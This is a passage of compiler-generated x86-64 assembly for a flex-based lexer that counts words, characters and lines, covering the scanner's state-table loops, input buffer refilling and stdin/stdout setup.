jne LBB0_14
## %bb.16: ## in Loop: Header=BB0_15 Depth=3
movzbl %sil, %ecx
movzbl (%r9,%rcx,4), %esi
jmp LBB0_14
.p2align 4, 0x90
LBB0_17: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB0_18 Depth 4
## Child Loop BB0_22 Depth 5
## Child Loop BB0_38 Depth 6
## Child Loop BB0_41 Depth 6
## Child Loop BB0_45 Depth 6
## Child Loop BB0_49 Depth 6
## Child Loop BB0_57 Depth 6
## Child Loop BB0_62 Depth 6
## Child Loop BB0_71 Depth 6
## Child Loop BB0_93 Depth 5
## Child Loop BB0_100 Depth 6
## Child Loop BB0_106 Depth 5
## Child Loop BB0_111 Depth 4
## Child Loop BB0_118 Depth 5
movq %r10, -64(%rbp) ## 8-byte Spill
LBB0_18: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## => This Loop Header: Depth=4
## Child Loop BB0_22 Depth 5
## Child Loop BB0_38 Depth 6
## Child Loop BB0_41 Depth 6
## Child Loop BB0_45 Depth 6
## Child Loop BB0_49 Depth 6
## Child Loop BB0_57 Depth 6
## Child Loop BB0_62 Depth 6
## Child Loop BB0_71 Depth 6
## Child Loop BB0_93 Depth 5
## Child Loop BB0_100 Depth 6
## Child Loop BB0_106 Depth 5
movslq %ecx, %rax
leaq -8(%rax), %rcx
cmpq $-5, %rcx
jae LBB0_20
## %bb.19: ## in Loop: Header=BB0_18 Depth=4
movslq _yy_last_accepting_state(%rip), %rax
movq _yy_last_accepting_cpos(%rip), %r8
LBB0_20: ## in Loop: Header=BB0_18 Depth=4
leaq _yy_accept(%rip), %rcx
movswl (%rcx,%rax,2), %esi
movq _yytext@GOTPCREL(%rip), %rax
movq -64(%rbp), %rcx ## 8-byte Reload
movq %rcx, (%rax)
movq %r8, %rax
subq %rcx, %rax
movq _yyleng@GOTPCREL(%rip), %rcx
movq %rax, (%rcx)
movb (%r8), %al
movb %al, _yy_hold_char(%rip)
movb $0, (%r8)
movq %r8, %r10
movq %r8, -48(%rbp) ## 8-byte Spill
jmp LBB0_22
.p2align 4, 0x90
LBB0_21: ## in Loop: Header=BB0_22 Depth=5
movl $6, %esi
cmpq $1, %rdi
leaq _yy_ec(%rip), %r14
leaq _yy_base(%rip), %r15
leaq _yy_nxt(%rip), %r13
jne LBB0_89
LBB0_22: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## => This Loop Header: Depth=5
## Child Loop BB0_38 Depth 6
## Child Loop BB0_41 Depth 6
## Child Loop BB0_45 Depth 6
## Child Loop BB0_49 Depth 6
## Child Loop BB0_57 Depth 6
## Child Loop BB0_62 Depth 6
## Child Loop BB0_71 Depth 6
movq %r10, _yy_c_buf_p(%rip)
cmpl $5, %esi
jne LBB0_83
## %bb.23: ## in Loop: Header=BB0_22 Depth=5
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rsi
movb _yy_hold_char(%rip), %al
movb %al, (%r8)
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %rdi
movq (%rbx,%rdi,8), %r15
cmpl $0, 64(%r15)
je LBB0_25
## %bb.24: ## in Loop: Header=BB0_22 Depth=5
movq _yy_n_chars(%rip), %rax
jmp LBB0_26
.p2align 4, 0x90
LBB0_25: ## in Loop: Header=BB0_22 Depth=5
movq 32(%r15), %rax
movq %rax, _yy_n_chars(%rip)
movq _yyin(%rip), %rcx
movq %rcx, (%r15)
movq (%rbx,%rdi,8), %r15
movl $1, 64(%r15)
LBB0_26: ## in Loop: Header=BB0_22 Depth=5
movq _yy_c_buf_p(%rip), %r14
movq 8(%r15), %rcx
leaq (%rcx,%rax), %rdx
cmpq %rdx, %r14
jbe LBB0_90
## %bb.27: ## in Loop: Header=BB0_22 Depth=5
movq %rdi, -80(%rbp) ## 8-byte Spill
movq %rsi, -88(%rbp) ## 8-byte Spill
leaq (%rax,%rcx), %rdx
incq %rdx
cmpq %rdx, %r14
ja LBB0_146
## %bb.28: ## in Loop: Header=BB0_22 Depth=5
movq _yytext@GOTPCREL(%rip), %rdx
movq (%rdx), %r10
movq %r14, %rdi
subq %r10, %rdi
cmpl $0, 60(%r15)
je LBB0_21
## %bb.29: ## in Loop: Header=BB0_22 Depth=5
leal -1(%rdi), %eax
cmpl $2, %edi
movl %eax, -52(%rbp) ## 4-byte Spill
jl LBB0_51
## %bb.30: ## in Loop: Header=BB0_22 Depth=5
movq %rbx, %r15
movl %r14d, %eax
subl %r10d, %eax
addl $-2, %eax
xorl %ebx, %ebx
cmpl $7, %eax
jb LBB0_34
## %bb.31: ## in Loop: Header=BB0_22 Depth=5
movq %rcx, %rsi
subq %r10, %rsi
cmpq $32, %rsi
jb LBB0_34
## %bb.32: ## in Loop: Header=BB0_22 Depth=5
leaq 1(%rax), %r8
cmpl $31, %eax
jae LBB0_35
## %bb.33: ## in Loop: Header=BB0_22 Depth=5
xorl %esi, %esi
jmp LBB0_44
LBB0_34: ## in Loop: Header=BB0_22 Depth=5
movq %rcx, %rdi
movq %r10, %rax
jmp LBB0_48
LBB0_35: ## in Loop: Header=BB0_22 Depth=5
movq %r8, %rsi
movabsq $8589934560, %rax ## imm = 0x1FFFFFFE0
andq %rax, %rsi
leaq -32(%rsi), %rdi
movq %rdi, %rax
shrq $5, %rax
incq %rax
movl %eax, %r9d
andl $3, %r9d
cmpq $96, %rdi
jae LBB0_37
## %bb.36: ## in Loop: Header=BB0_22 Depth=5
xorl %ebx, %ebx
jmp LBB0_39
LBB0_37: ## in Loop: Header=BB0_22 Depth=5
andq $-4, %rax
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_38: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
movups (%r10,%rbx), %xmm0
movups 16(%r10,%rbx), %xmm1
movups %xmm0, (%rcx,%rbx)
movups %xmm1, 16(%rcx,%rbx)
movups 32(%r10,%rbx), %xmm0
movups 48(%r10,%rbx), %xmm1
movups %xmm0, 32(%rcx,%rbx)
movups %xmm1, 48(%rcx,%rbx)
movups 64(%r10,%rbx), %xmm0
movups 80(%r10,%rbx), %xmm1
movups %xmm0, 64(%rcx,%rbx)
movups %xmm1, 80(%rcx,%rbx)
movups 96(%r10,%rbx), %xmm0
movups 112(%r10,%rbx), %xmm1
movups %xmm0, 96(%rcx,%rbx)
movups %xmm1, 112(%rcx,%rbx)
subq $-128, %rbx
addq $-4, %rax
jne LBB0_38
LBB0_39: ## in Loop: Header=BB0_22 Depth=5
testq %r9, %r9
je LBB0_42
## %bb.40: ## in Loop: Header=BB0_22 Depth=5
leaq (%r10,%rbx), %rax
addq $16, %rax
addq %rcx, %rbx
addq $16, %rbx
shlq $5, %r9
xorl %edi, %edi
.p2align 4, 0x90
LBB0_41: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
movups -16(%rax,%rdi), %xmm0
movups (%rax,%rdi), %xmm1
movups %xmm0, -16(%rbx,%rdi)
movups %xmm1, (%rbx,%rdi)
addq $32, %rdi
cmpq %rdi, %r9
jne LBB0_41
LBB0_42: ## in Loop: Header=BB0_22 Depth=5
cmpq %rsi, %r8
leaq _yy_meta(%rip), %r9
je LBB0_50
## %bb.43: ## in Loop: Header=BB0_22 Depth=5
testb $24, %r8b
je LBB0_47
LBB0_44: ## in Loop: Header=BB0_22 Depth=5
movabsq $8589934560, %rax ## imm = 0x1FFFFFFE0
leaq 24(%rax), %rbx
andq %r8, %rbx
leaq (%rcx,%rbx), %rdi
leaq (%r10,%rbx), %rax
.p2align 4, 0x90
LBB0_45: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
movq (%r10,%rsi), %rdx
movq %rdx, (%rcx,%rsi)
addq $8, %rsi
cmpq %rsi, %rbx
jne LBB0_45
## %bb.46: ## in Loop: Header=BB0_22 Depth=5
cmpq %rbx, %r8
jne LBB0_48
jmp LBB0_50
LBB0_47: ## in Loop: Header=BB0_22 Depth=5
leaq (%r10,%rsi), %rax
addq %rsi, %rcx
movq %rcx, %rdi
movl %esi, %ebx
LBB0_48: ## in Loop: Header=BB0_22 Depth=5
movl %r14d, %ecx
subl %ebx, %ecx
notl %r10d
addl %ecx, %r10d
xorl %ecx, %ecx
.p2align 4, 0x90
LBB0_49: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
movzbl (%rax,%rcx), %edx
movb %dl, (%rdi,%rcx)
incq %rcx
cmpl %ecx, %r10d
jne LBB0_49
LBB0_50: ## in Loop: Header=BB0_22 Depth=5
movq %r15, %rbx
movq -80(%rbp), %rax ## 8-byte Reload
movq (%r15,%rax,8), %r15
movq -48(%rbp), %r8 ## 8-byte Reload
movl -52(%rbp), %eax ## 4-byte Reload
LBB0_51: ## in Loop: Header=BB0_22 Depth=5
cmpl $2, 64(%r15)
movslq %eax, %r13
movq %r13, -72(%rbp) ## 8-byte Spill
jne LBB0_56
## %bb.52: ## in Loop: Header=BB0_22 Depth=5
movq $0, _yy_n_chars(%rip)
movq -80(%rbp), %rdx ## 8-byte Reload
LBB0_53: ## in Loop: Header=BB0_22 Depth=5
movq $0, 32(%r15)
LBB0_54: ## in Loop: Header=BB0_22 Depth=5
testl %eax, %eax
je LBB0_69
## %bb.55: ## in Loop: Header=BB0_22 Depth=5
movl $2, 64(%r15)
movl $2, %ecx
xorl %r14d, %r14d
jmp LBB0_78
.p2align 4, 0x90
LBB0_56: ## in Loop: Header=BB0_22 Depth=5
notq %r13
movq 24(%r15), %rcx
movq %rcx, %rbx
addq %r13, %rbx
jne LBB0_60
.p2align 4, 0x90
LBB0_57: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
cmpl $0, 40(%r15)
je LBB0_141
## %bb.58: ## in Loop: Header=BB0_57 Depth=6
movq 8(%r15), %rbx
leaq (%rcx,%rcx), %rax
movq %rcx, %rsi
shrq $3, %rsi
addq %rcx, %rsi
testq %rax, %rax
cmovneq %rax, %rsi
movq %rsi, 24(%r15)
addq $2, %rsi
movq %rbx, %rdi
callq _realloc
movq %rax, 8(%r15)
testq %rax, %rax
je LBB0_142
## %bb.59: ## in Loop: Header=BB0_57 Depth=6
subq %rbx, %r14
movslq %r14d, %rcx
addq %rcx, %rax
movq %rax, _yy_c_buf_p(%rip)
movq _yy_buffer_stack(%rip), %rcx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rcx,%rdx,8), %r15
movq 24(%r15), %rcx
movq %rcx, %rbx
movq %rax, %r14
addq %r13, %rbx
je LBB0_57
LBB0_60: ## in Loop: Header=BB0_22 Depth=5
cmpq $8192, %rbx ## imm = 0x2000
movl $8192, %eax ## imm = 0x2000
cmovaeq %rax, %rbx
cmpl $0, 44(%r15)
je LBB0_70
## %bb.61: ## in Loop: Header=BB0_22 Depth=5
xorl %r14d, %r14d
movq -72(%rbp), %r15 ## 8-byte Reload
.p2align 4, 0x90
LBB0_62: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
movq _yyin(%rip), %rdi
callq _getc
cmpl $-1, %eax
je LBB0_66
## %bb.63: ## in Loop: Header=BB0_62 Depth=6
cmpl $10, %eax
je LBB0_66
## %bb.64: ## in Loop: Header=BB0_62 Depth=6
movq _yy_buffer_stack(%rip), %rcx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rcx,%rdx,8), %rcx
movq 8(%rcx), %rcx
addq %r15, %rcx
movb %al, (%r14,%rcx)
incq %r14
cmpq %r14, %rbx
jne LBB0_62
## %bb.65: ## in Loop: Header=BB0_22 Depth=5
movq %rbx, %r14
LBB0_66: ## in Loop: Header=BB0_22 Depth=5
cmpl $-1, %eax
leaq _yy_def(%rip), %r11
leaq _yy_meta(%rip), %r9
movq -48(%rbp), %r8 ## 8-byte Reload
je LBB0_76
## %bb.67: ## in Loop: Header=BB0_22 Depth=5
cmpl $10, %eax
jne LBB0_77
## %bb.68: ## in Loop: Header=BB0_22 Depth=5
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rbx,%rdx,8), %rax
movq 8(%rax), %rax
addq %r15, %rax
movb $10, (%r14,%rax)
incq %r14
movq %r14, _yy_n_chars(%rip)
movq (%rbx,%rdx,8), %r15
movq %r14, 32(%r15)
xorl %ecx, %ecx
jmp LBB0_78
LBB0_69: ## in Loop: Header=BB0_22 Depth=5
movq _yyin(%rip), %rsi
movq %r15, %rdi
callq _yy_init_buffer
movq -48(%rbp), %r8 ## 8-byte Reload
leaq _yy_meta(%rip), %r9
leaq _yy_def(%rip), %r11
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rbx,%rdx,8), %rax
movq 32(%rax), %r14
movq %r14, _yy_n_chars(%rip)
movq 16(%rax), %rax
movq %rax, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rcx
movq %rax, (%rcx)
movq (%rbx,%rdx,8), %rcx
movq (%rcx), %rcx
movq %rcx, _yyin(%rip)
movb (%rax), %al
movb %al, _yy_hold_char(%rip)
movq (%rbx,%rdx,8), %r15
movl $1, %ecx
jmp LBB0_78
LBB0_70: ## in Loop: Header=BB0_22 Depth=5
callq ___error
movl $0, (%rax)
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rax
movq 8(%rax), %rdi
movq -72(%rbp), %r15 ## 8-byte Reload
addq %r15, %rdi
movq _yyin(%rip), %rcx
movl $1, %esi
movq %rbx, %rdx
callq _fread
movq %rax, %r14
movq %rax, _yy_n_chars(%rip)
testq %rax, %rax
jne LBB0_75
.p2align 4, 0x90
LBB0_71: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_22 Depth=5
## => This Inner Loop Header: Depth=6
movq _yyin(%rip), %rdi
callq _ferror
testl %eax, %eax
je LBB0_82
## %bb.72: ## in Loop: Header=BB0_71 Depth=6
callq ___error
cmpl $4, (%rax)
jne LBB0_147
## %bb.73: ## in Loop: Header=BB0_71 Depth=6
callq ___error
movl $0, (%rax)
movq _yyin(%rip), %rdi
callq _clearerr
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rax
movq 8(%rax), %rdi
addq %r15, %rdi
movq _yyin(%rip), %rcx
movl $1, %esi
movq %rbx, %rdx
callq _fread
movq %rax, _yy_n_chars(%rip)
testq %rax, %rax
je LBB0_71
## %bb.74: ## in Loop: Header=BB0_22 Depth=5
movq %rax, %r14
LBB0_75: ## in Loop: Header=BB0_22 Depth=5
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rbx,%rdx,8), %r15
movq %r14, 32(%r15)
xorl %ecx, %ecx
leaq _yy_def(%rip), %r11
leaq _yy_meta(%rip), %r9
movq -48(%rbp), %r8 ## 8-byte Reload
jmp LBB0_78
LBB0_76: ## in Loop: Header=BB0_22 Depth=5
movq _yyin(%rip), %rdi
callq _ferror
movq -48(%rbp), %r8 ## 8-byte Reload
leaq _yy_meta(%rip), %r9
leaq _yy_def(%rip), %r11
testl %eax, %eax
jne LBB0_147
LBB0_77: ## in Loop: Header=BB0_22 Depth=5
movq %r14, _yy_n_chars(%rip)
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rbx,%rdx,8), %r15
movq %r14, 32(%r15)
xorl %ecx, %ecx
testq %r14, %r14
movl -52(%rbp), %eax ## 4-byte Reload
je LBB0_54
.p2align 4, 0x90
LBB0_78: ## in Loop: Header=BB0_22 Depth=5
movq -72(%rbp), %r13 ## 8-byte Reload
addq %r14, %r13
cmpq 24(%r15), %r13
jbe LBB0_80
## %bb.79: ## in Loop: Header=BB0_22 Depth=5
shrq %r14
addq %r13, %r14
movq 8(%r15), %rdi
movq %r14, %rsi
movq %rdx, %r14
movl %ecx, %r15d
callq _realloc
movq %r14, %rdx
movq -48(%rbp), %r8 ## 8-byte Reload
leaq _yy_meta(%rip), %r9
leaq _yy_def(%rip), %r11
movq (%rbx,%r14,8), %rcx
movq %rax, 8(%rcx)
movl %r15d, %ecx
movq (%rbx,%r14,8), %rax
movq 8(%rax), %rax
testq %rax, %rax
jne LBB0_81
jmp LBB0_148
.p2align 4, 0x90
LBB0_80: ## in Loop: Header=BB0_22 Depth=5
movq 8(%r15), %rax
LBB0_81: ## in Loop: Header=BB0_22 Depth=5
movq %r13, _yy_n_chars(%rip)
movb $0, (%rax,%r13)
movq (%rbx,%rdx,8), %rax
movq 8(%rax), %rax
movb $0, 1(%r13,%rax)
movq (%rbx,%rdx,8), %rax
movq 8(%rax), %r10
movq _yytext@GOTPCREL(%rip), %rax
movq %r10, (%rax)
movl $6, %esi
cmpl $1, %ecx
leaq _yy_ec(%rip), %r14
leaq _yy_base(%rip), %r15
leaq _yy_nxt(%rip), %r13
je LBB0_22
jmp LBB0_86
LBB0_82: ## in Loop: Header=BB0_22 Depth=5
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %rdx
movq (%rbx,%rdx,8), %r15
leaq _yy_def(%rip), %r11
leaq _yy_meta(%rip), %r9
movq -48(%rbp), %r8 ## 8-byte Reload
movl -52(%rbp), %eax ## 4-byte Reload
jmp LBB0_53
.p2align 4, 0x90
LBB0_83: ## in Loop: Header=BB0_18 Depth=4
cmpl $6, %esi
ja LBB0_145
## %bb.84: ## in Loop: Header=BB0_18 Depth=4
movl %esi, %eax
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_85: ## in Loop: Header=BB0_18 Depth=4
movb _yy_hold_char(%rip), %al
movb %al, (%r8)
movq _yy_last_accepting_cpos(%rip), %r8
movl _yy_last_accepting_state(%rip), %ecx
jmp LBB0_18
.p2align 4, 0x90
LBB0_86: ## in Loop: Header=BB0_18 Depth=4
testl %ecx, %ecx
je LBB0_120
## %bb.87: ## in Loop: Header=BB0_18 Depth=4
cmpl $2, %ecx
jne LBB0_9
## %bb.88: ## in Loop: Header=BB0_18 Depth=4
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rax
movq 8(%rax), %rcx
movq _yy_n_chars(%rip), %rax
LBB0_89: ## in Loop: Header=BB0_18 Depth=4
movq %rax, %r8
addq %rcx, %r8
movq %r8, _yy_c_buf_p(%rip)
movzbl _yy_start(%rip), %ecx
movq %r10, -64(%rbp) ## 8-byte Spill
cmpq %r8, %r10
jae LBB0_18
jmp LBB0_109
LBB0_90: ## in Loop: Header=BB0_18 Depth=4
subq %rsi, %r8
movl %r8d, %eax
movq _yytext@GOTPCREL(%rip), %rcx
movq (%rcx), %rdx
shlq $32, %r8
movabsq $-4294967296, %rcx ## imm = 0xFFFFFFFF00000000
addq %rcx, %r8
sarq $32, %r8
addq %rdx, %r8
movq %r8, _yy_c_buf_p(%rip)
movzbl _yy_start(%rip), %ecx
cmpl $2, %eax
movq %rdx, -64(%rbp) ## 8-byte Spill
jl LBB0_102
## %bb.91: ## in Loop: Header=BB0_18 Depth=4
movq %rdx, %rax
leaq _yy_ec(%rip), %r14
leaq _yy_base(%rip), %r15
leaq _yy_nxt(%rip), %r13
jmp LBB0_93
.p2align 4, 0x90
LBB0_92: ## in Loop: Header=BB0_93 Depth=5
movl %edi, %ecx
movswl (%r13,%rcx,2), %ecx
incq %rax
cmpq %r8, %rax
je LBB0_103
LBB0_93: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## => This Loop Header: Depth=5
## Child Loop BB0_100 Depth 6
movzbl (%rax), %edx
testq %rdx, %rdx
je LBB0_95
## %bb.94: ## in Loop: Header=BB0_93 Depth=5
movzbl (%r14,%rdx,4), %edx
jmp LBB0_96
.p2align 4, 0x90
LBB0_95: ## in Loop: Header=BB0_93 Depth=5
movl $1, %edx
LBB0_96: ## in Loop: Header=BB0_93 Depth=5
leal -8(%rcx), %esi
cmpl $-5, %esi
jb LBB0_98
## %bb.97: ## in Loop: Header=BB0_93 Depth=5
movl %ecx, _yy_last_accepting_state(%rip)
movq %rax, _yy_last_accepting_cpos(%rip)
LBB0_98: ## in Loop: Header=BB0_93 Depth=5
movslq %ecx, %rsi
movswq (%r15,%rsi,2), %rbx
movl %edx, %edi
addq %rbx, %rdi
movswl (%r12,%rdi,2), %ebx
cmpl %ebx, %ecx
jne LBB0_100
jmp LBB0_92
.p2align 4, 0x90
LBB0_99: ## in Loop: Header=BB0_100 Depth=6
movswl (%r11,%rsi,2), %ecx
movslq %ecx, %rsi
movswq (%r15,%rsi,2), %rbx
movzbl %dl, %edi
addq %rbx, %rdi
cmpw (%r12,%rdi,2), %si
je LBB0_92
LBB0_100: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## Parent Loop BB0_93 Depth=5
## => This Inner Loop Header: Depth=6
andl $-2, %ecx
cmpl $6, %ecx
jne LBB0_99
## %bb.101: ## in Loop: Header=BB0_100 Depth=6
movzbl %dl, %ecx
movzbl (%r9,%rcx,4), %edx
jmp LBB0_99
LBB0_102: ## in Loop: Header=BB0_18 Depth=4
leaq _yy_ec(%rip), %r14
leaq _yy_base(%rip), %r15
leaq _yy_nxt(%rip), %r13
LBB0_103: ## in Loop: Header=BB0_18 Depth=4
movslq %ecx, %rdx
leaq -8(%rdx), %rax
cmpq $-5, %rax
jb LBB0_105
## %bb.104: ## in Loop: Header=BB0_18 Depth=4
movl %ecx, _yy_last_accepting_state(%rip)
movq %r8, _yy_last_accepting_cpos(%rip)
LBB0_105: ## in Loop: Header=BB0_18 Depth=4
movswq (%r15,%rdx,2), %rax
movswl 2(%r12,%rax,2), %esi
cmpl %esi, %ecx
je LBB0_107
.p2align 4, 0x90
LBB0_106: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_18 Depth=4
## => This Inner Loop Header: Depth=5
movswq (%r11,%rdx,2), %rdx
movswq (%r15,%rdx,2), %rax
cmpw 2(%r12,%rax,2), %dx
jne LBB0_106
LBB0_107: ## in Loop: Header=BB0_18 Depth=4
incq %rax
movl $928, %edx ## imm = 0x3A0
btq %rax, %rdx
jb LBB0_18
## %bb.108: ## in Loop: Header=BB0_18 Depth=4
testl %eax, %eax
je LBB0_18
jmp LBB0_132
LBB0_109: ## in Loop: Header=BB0_17 Depth=3
movq %r10, %rax
jmp LBB0_111
.p2align 4, 0x90
LBB0_110: ## in Loop: Header=BB0_111 Depth=4
movl %ebx, %ecx
movswl (%r13,%rcx,2), %ecx
incq %rax
cmpq %r8, %rax
je LBB0_17
LBB0_111: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## => This Loop Header: Depth=4
## Child Loop BB0_118 Depth 5
movzbl (%rax), %esi
testq %rsi, %rsi
je LBB0_113
## %bb.112: ## in Loop: Header=BB0_111 Depth=4
movzbl (%r14,%rsi,4), %esi
jmp LBB0_114
.p2align 4, 0x90
LBB0_113: ## in Loop: Header=BB0_111 Depth=4
movl $1, %esi
LBB0_114: ## in Loop: Header=BB0_111 Depth=4
leal -8(%rcx), %edx
cmpl $-5, %edx
jb LBB0_116
## %bb.115: ## in Loop: Header=BB0_111 Depth=4
movl %ecx, _yy_last_accepting_state(%rip)
movq %rax, _yy_last_accepting_cpos(%rip)
LBB0_116: ## in Loop: Header=BB0_111 Depth=4
movslq %ecx, %rdi
movswq (%r15,%rdi,2), %rdx
movl %esi, %ebx
addq %rdx, %rbx
movswl (%r12,%rbx,2), %edx
cmpl %edx, %ecx
jne LBB0_118
jmp LBB0_110
.p2align 4, 0x90
LBB0_117: ## in Loop: Header=BB0_118 Depth=5
movswl (%r11,%rdi,2), %ecx
movslq %ecx, %rdi
movswq (%r15,%rdi,2), %rdx
movzbl %sil, %ebx
addq %rdx, %rbx
cmpw (%r12,%rbx,2), %di
je LBB0_110
LBB0_118: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_17 Depth=3
## Parent Loop BB0_111 Depth=4
## => This Inner Loop Header: Depth=5
andl $-2, %ecx
cmpl $6, %ecx
jne LBB0_117
## %bb.119: ## in Loop: Header=BB0_118 Depth=5
movzbl %sil, %ecx
movzbl (%r9,%rcx,4), %esi
jmp LBB0_117
LBB0_120: ## in Loop: Header=BB0_11 Depth=2
subq -88(%rbp), %r8 ## 8-byte Folded Reload
movl %r8d, %eax
shlq $32, %r8
movabsq $-4294967296, %rcx ## imm = 0xFFFFFFFF00000000
addq %rcx, %r8
sarq $32, %r8
addq %r10, %r8
movq %r8, _yy_c_buf_p(%rip)
movzbl _yy_start(%rip), %ecx
cmpl $2, %eax
jl LBB0_11
## %bb.121: ## in Loop: Header=BB0_11 Depth=2
movq %r10, %rax
jmp LBB0_123
.p2align 4, 0x90
LBB0_122: ## in Loop: Header=BB0_123 Depth=3
movl %ebx, %ecx
movswl (%r13,%rcx,2), %ecx
incq %rax
cmpq %r8, %rax
je LBB0_11
LBB0_123: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB0_130 Depth 4
movzbl (%rax), %esi
testq %rsi, %rsi
je LBB0_125
## %bb.124: ## in Loop: Header=BB0_123 Depth=3
movzbl (%r14,%rsi,4), %esi
jmp LBB0_126
.p2align 4, 0x90
LBB0_125: ## in Loop: Header=BB0_123 Depth=3
movl $1, %esi
LBB0_126: ## in Loop: Header=BB0_123 Depth=3
leal -8(%rcx), %edx
cmpl $-5, %edx
jb LBB0_128
## %bb.127: ## in Loop: Header=BB0_123 Depth=3
movl %ecx, _yy_last_accepting_state(%rip)
movq %rax, _yy_last_accepting_cpos(%rip)
LBB0_128: ## in Loop: Header=BB0_123 Depth=3
movslq %ecx, %rdi
movswq (%r15,%rdi,2), %rdx
movl %esi, %ebx
addq %rdx, %rbx
movswl (%r12,%rbx,2), %edx
cmpl %edx, %ecx
jne LBB0_130
jmp LBB0_122
.p2align 4, 0x90
LBB0_129: ## in Loop: Header=BB0_130 Depth=4
movswl (%r11,%rdi,2), %ecx
movslq %ecx, %rdi
movswq (%r15,%rdi,2), %rdx
movzbl %sil, %ebx
addq %rdx, %rbx
cmpw (%r12,%rbx,2), %di
je LBB0_122
LBB0_130: ## Parent Loop BB0_9 Depth=1
## Parent Loop BB0_11 Depth=2
## Parent Loop BB0_123 Depth=3
## => This Inner Loop Header: Depth=4
andl $-2, %ecx
cmpl $6, %ecx
jne LBB0_129
## %bb.131: ## in Loop: Header=BB0_130 Depth=4
movzbl %sil, %ecx
movzbl (%r9,%rcx,4), %esi
jmp LBB0_129
LBB0_132: ## in Loop: Header=BB0_11 Depth=2
movl %eax, %eax
movswl (%r13,%rax,2), %ecx
incq %r8
movq %r8, _yy_c_buf_p(%rip)
movq -64(%rbp), %r10 ## 8-byte Reload
jmp LBB0_11
.p2align 4, 0x90
LBB0_133: ## in Loop: Header=BB0_9 Depth=1
incq _words(%rip)
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _strlen
leaq _yy_meta(%rip), %r9
leaq _yy_def(%rip), %r11
jmp LBB0_136
.p2align 4, 0x90
LBB0_134: ## in Loop: Header=BB0_9 Depth=1
incq _chars(%rip)
movl $1, %eax
leaq _lines(%rip), %rcx
addq %rax, (%rcx)
jmp LBB0_9
.p2align 4, 0x90
LBB0_135: ## in Loop: Header=BB0_9 Depth=1
movl $1, %eax
LBB0_136: ## in Loop: Header=BB0_9 Depth=1
leaq _chars(%rip), %rcx
addq %rax, (%rcx)
jmp LBB0_9
LBB0_137:
xorl %eax, %eax
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_138:
movb $1, _yy_start(%rip)
cmpq $0, _yyin(%rip)
jne LBB0_3
LBB0_139:
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
cmpq $0, _yyout(%rip)
jne LBB0_4
LBB0_140:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, _yyout(%rip)
jmp LBB0_4
LBB0_141:
movq $0, 8(%r15)
LBB0_142:
